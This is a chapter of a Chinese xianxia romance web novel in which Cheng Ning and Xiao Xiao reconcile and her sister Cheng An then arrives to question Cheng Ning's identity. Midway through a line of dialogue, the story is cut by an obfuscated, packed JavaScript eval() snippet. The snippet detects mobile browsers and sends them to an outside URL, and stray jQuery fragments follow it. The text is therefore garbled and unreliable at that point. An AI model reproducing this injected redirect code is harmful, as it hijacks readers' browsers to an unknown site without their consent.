黎明，天空逐渐变灰。


    程宁和萧啸两人走着，往回走，也走向那不明的未来。


    他说他愿意。一路上程宁被这句话扰得心神不宁。


    才踏入门，她就被人摁在门板上，那力度软绵绵，她轻易就可挣脱，但她没动，直愣愣看着。


    萧啸颇为恼怒问她在看什么，恼怒她的走神，恼怒她的即将离去。


    明明才在一起不久……


    “看你。”程宁直愣愣的回答，换来一顿湿吻。


    肩被人狠狠捏着，她一动不动。两双眼睛毫不避讳自己的欲望，纠缠看着对方。萧啸的大手像是要揉进程宁的身体，从肩滑到后背，将人往自己怀里带，气哼哼的说：“凭什么！”


    “凭什么！”重复第二遍时，萧啸眼眶发酸，这一切都被程宁看在眼里。


    程宁伸出手捧着萧啸的脸，吻落到他的额头，然后对着他的眼眶吹气，“哟哟哟！要哭鼻子了，哟！”


    “好笑！”萧啸心中酸涩，去捏她的腰。程宁怕痒，伸手阻拦，不料萧啸嘶一声，捂着自己的手。


    “怎么了？”程宁担忧，她忘记了萧啸此时是一个毫无修为的人，她真的忘记了。


    萧啸看她一眼，抱着自己的手，什么话都不说，站在那里流泪。


    一滴滴泪，落到程宁心头。她慌张上前，但萧啸退后一步，退到床边，眼神看着她全是幽怨，嘴抿着一言不发。


    “额……我不是故意的……你别生气……”程宁解释，换来萧啸坐在床边的悠悠眼神。


    那眼神，眷念又幽怨，看得程宁心口发软又发胀，平白生出众多对不起，但又不知如何去弥补。


    他说他愿意，成为她的遗物，用一生去完成她未能完成的事业。


    轻轻陪进萧啸的一生，程宁该怎么赔呢？


    她轻轻将人揽进自己的怀里，双手搭在他肩上，顺势抱住脑袋，像哄孩子一样问：“怎么了？别伤心。”


    萧啸享受着她温柔的抚摸，嘴上开始喋喋不休的抱怨：“你压根不爱我。”


    他没给程宁插嘴的机会，“你永远想推开我，午夜梦回，你想你的姐姐都不会想我。遇见困难你会想师父、想大师兄、想诸天神佛，唯独不会想我。答应我的事情也随意反悔，还一度让我以为你死了，你做的一切都不会考虑我。”


    “你根本不爱我，你只是习惯了我在你身边，只是这么多年这么多事，只有我选择了跟你走，只有我永远不会被你推开。”他真将自己说哭了，哭地伤心，哭地梨花带雨，哭湿了程宁的肩头。


    边哭边控诉，“你不爱我……你不爱我……”


    程宁没见过这样的场面，一时不知如何安慰，结果又被萧啸抓住了控诉的机会，“你连哄我一下都不愿意！”


    “……”程宁用袖子擦着他的眼泪，深吸一口气，“我想过你。在虚无之海飘着的时候，我满脑子都是你，那时我就想如果我能活着回来，我一定跟你告白。”


    “真的？”萧啸似乎想起了，好像真的有这件事情。


    “真的。”程宁说：“还有我以前也想过你，我以前不想将你牵扯进来，所以才一直没跟你告白，才一直隐瞒自己对你的感情，但还是将你牵扯进来了。”


    “什么时候这样想的？”萧啸抬起头颅，让程宁跪在自己身上，手穿过发丝覆盖她的整个后脑勺。泪痕还在脸上未干，他便忍不住去舔程宁的唇珠。


    “……”程宁想躲，但腰和头都被人控住，手上又不敢使力，“那次，文城。”


    确实是好久之前的事情了，萧啸想，那次……她承认了与自己共度一晚，在何云桦面前。


    这些细小的细节他应该清楚地记得，但那时的他被迷乱的感情困扰，竟然忘记了。他也有错。


    程宁将手撑在他肩上，摸着他的额头，“还生气吗？”


    “不生气了。”萧啸长长叹气，叹在程宁心上。


    外面的时间已是白日，可两人房门紧闭。


    层层帷幔围成的私密空间里，两颗心在各自胸膛跳动，不断靠近彼此，不断追问自己在彼此心中的地位。由身体到灵魂，由一滴滴泪砸进心里。


    “对不起……”程宁后面的话被堵在口中。


    “我也对不起你。”没能让你活，是我无能，一滴泪从萧啸的眼中滑到程宁的唇边。


    咸咸的泪珠蒸发在两人之间，随着漫长浓烈的情感不断上升，悬在床榻之上，又猛的降落，给人致命的冲击。


    床幔出现在程宁的视线中，她仰躺在床上，指挥人给自己捏脚，“其实你不用在意我姐姐的话，我希望在我死后你能有更好的生活，再找一个爱的人，拿着钱，度过一生。不要再想我。”


    一只手顺着小腿向上攀，萧啸不满的问：“你把我当做什么人了？我是那种绝情的人吗？”


    “我希望你绝情一点。”程宁答。


    萧啸不再给她捏腿，躺倒在她身边，嗓音黏糊糊，“不会，反正我不会。”他不悦翻身，等着程宁来哄。


    程宁懒得动弹，只将手搭在他腰上，“转过来。”


    他又没骨气的转过来，将人抱着，“我不高兴。”


    “那可以高兴一点吗？”程宁问。


    他答：“可以。”


    “哦。”程宁掩着嘴笑，他又觉得程宁在笑他，又不高兴，但又高兴。


    恋爱使人矛盾。


    白日一晃而过，黑夜到来。


    程宁毫无睡意，在床上炒菜。


    萧啸一介凡躯自然不能和她比，困得迷迷糊糊还在哄着程宁睡觉。


    程宁委屈在他怀里画圈圈。然后被人攥住小手不让动。


    门被敲响，引起萧啸的不悦。


    “起床！”外面是程安气壮如牛的声音。


    萧啸扯过被子蒙住头，腿夹住程宁不让她动，准备在床上装死。


    门外还在喊，“再不起来我就进来了！”


    怀里的人也不安分，总想起身，被推了几次的萧啸终于火了。


    他将被子掀开，跳到地上，气呼呼看着床上的程宁，不满的问：“你搭理她干嘛？在你心里就是她比我重要，你那些承诺和甜言蜜语都是骗我的！骗我的！只有我会一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367243|180591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次信，我再也不要相信你了，你现在就走吧！”


    说完他不再挡在床前，侧身给程宁让路。


    一件外衫披在他身上，程宁对他说：“冷，衣服穿好。”


    他气又有点消了。


    程安最终登堂入室，萧啸看见她的第一眼就忍不住翻了个巨大的白眼。


    程安也不是受气的人，她瞬间叫嚷起来，“你恨我干嘛？你什么身份？你配恨我吗？你是谁啊？”


    “好了！好了！好了！”程宁在中间当和事佬，她一手牵一个。


    萧啸又赠程安一个白眼，“说吧，来我房间干什么？”


    “哪里是你房间？”程安问。


    “这就是啊。”萧啸双手一摊，无奈表示。


    程安被气得直哼哼。


    “有事吗？”偏偏萧啸还摆出一副男主人的样子，善意告诉程安，“那儿有你的位置，坐吧。”


    “你是谁？”程安拒绝搭理萧啸，她问程宁，也看向程宁。


    “我吗？”程宁疑惑，“我就是我啊。还有什么其他的问题吗？”


    “傻瓜。”程宁的脑袋被拍一下，随后程安被拉开，被扔到原本划给她的那张椅子上面。


    在萧啸和程安即将有一场大战之前，程宁双手平举一个横扫，两手掌心分别向着两人，凭着坚决的态度彻底终结了他们之间的闲吵。


    他们各自在心中安慰自己：我不与傻子争吵。


    于是表面平静。


    “你不是你。”程安说了一句让程宁摸不着头脑的事情。她深夜前来，无非是又在梦里梦见了自己的妹妹，清醒后躺在床上回想梦中之事，惴惴不安，于是紧衣夜行。


    “啊！”程宁懵逼。


    懵逼的态度让程安心烦，“你是人还是鬼？”


    “人啊。”程宁下意识回答。


    “错了。”程安大声说：“我做了一个梦，梦里你人不人鬼不鬼，始终找不到自己的定位。”


    “胡说什么？”萧啸不耐烦打断。程宁坐在他身边，挺直腰背，不许两人有亲密的动作，他美好的夜晚又被毁了。


    “闭嘴。”程安呵斥他，继续问程宁，“你到底是谁？”


    程宁也觉得莫名其妙，“我还能是谁？”


    “你到底是爹娘的女儿、我的妹妹。外祖父母的孙女，还是无垢宗的弟子、人族的救星？你身上到底留着谁的影子？”


    寂静的室内充斥着萧啸的不满，程宁的懵逼还有程安尖锐的声音。


    “她是我的未婚妻。”萧啸打破一室寂静，程宁忙去捂他嘴。


    而萧啸蛮享受程宁的动作，目光挑衅看着程安，语不惊人死不休，“我们可以明日就成婚。”


    唰一声，程安站起来走到萧啸身前，用尽全身力气说：“你也配？”


    “我配。”萧啸配得感十足。


    “好了！”程宁烦闷。吵吵吵！吵死了！


    安静卷土重来，静逸的黑夜之下，三人之间心思百转千回，千回百转。


    “你希望我是谁？”程宁问。


    “是我的妹妹。”程安答。